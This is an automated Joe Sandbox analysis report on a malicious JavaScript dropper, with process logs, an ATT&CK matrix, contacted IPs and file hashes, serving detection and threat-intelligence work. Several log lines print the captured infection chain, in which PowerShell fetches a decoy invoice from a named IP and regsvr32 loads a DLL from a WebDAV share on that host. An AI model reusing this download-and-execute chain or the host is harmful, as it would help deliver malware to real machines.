Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4806			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5013			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2548	Thread sleep count: 4806 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2548	Thread sleep count: 5013 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1452	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3672	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6800	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6492	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1886318290.000001525C1C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`a#\R
Source: net.exe, 00000007.00000002.1886505769.000001525C232000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3113724995.000002D86B859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3109733619.000002D86602B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
47011380785516565.js	0%	ReversingLabs
47011380785516565.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/paceh	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1832953663.00000198F8DAF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3113420801.000002D86B800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1891886017.000002D86B5B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1886318290.000001525C1C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1886022480.000001525C204000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1886371744.000001525C204000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1884943710.000001525C21F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/paceh	net.exe, 00000007.00000002.1886318290.000001525C1C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587784
Start date and time:	2025-01-10 17:57:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	47011380785516565.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 2.16.168.107, 2.16.168.105, 23.204.152.210, 23.204.152.213, 192.168.2.8, 20.12.23.50, 104.78.188.188, 34.237.241.83, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:59:35	API Interceptor	22x Sleep call for process: powershell.exe modified
11:59:39	API Interceptor	1x Sleep call for process: net.exe modified
11:59:39	API Interceptor	2x Sleep call for process: svchost.exe modified
11:59:50	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21646213161445014123.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	238395810148579476.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	281511335289626058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2572722545251923438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802194042258825
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA0:RJE+Lfki1GjHwU/+vVhWqpV
MD5:	964E34CD9D4BF70146A1537083956997
SHA1:	7A400ECD80B230F64440882300D8FCD8533918E1
SHA-256:	110658E3E336E3A7F310218706AF414238E80A9B270B5503C93D18A4FF021E6B
SHA-512:	9DD22722476663DCFDE35EB82A7FC09B0D9739EDA9B73B722A7AA3E20849D9A1A1707CA99A92993A73097A81D2F9D49DADBBD371500E6B502218CB891782E9BB
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xcaf53b33, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433373589752945
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:DazaHvxXy2V2UR
MD5:	4378291BF0E072AF4E104C2D09262223
SHA1:	A9B2D04DCDD830755B52307F24545AC06C677814
SHA-256:	A9A7191D2BAF9FD96E8E0DECCAB14A3E235B63BABA6888C4745EBB2F8445CB45
SHA-512:	E2C40282FB0F921683E90EA6E5439FE9BAAECC8853F03112E24A0CBC967541C2F97C906B0568326F66443D26936BED7D08E9AAE561C8E209B117DCF4C7DE9D11
Malicious:	false
Preview:	..;3... ...............X\...;...{......................0.x...... ...{s.(;...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................5#.{(;...}..................~...(;...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08139942499116634
Encrypted:	false
SSDEEP:	3:rltEYe6UDdl/nqlFcl1ZUllllRJmlollGBnX/l/Tj/k7/t:rXEznRl/qlFclQ/lv1254
MD5:	793DA651F0955DADDD4DC424F3B17B21
SHA1:	7C1B15193C021581CAEBF86B4B7BB919782753EB
SHA-256:	2DD5E12065D4A550A2937EA2D14B14113E3FA88982AFC1349655B9AC9A002C6A
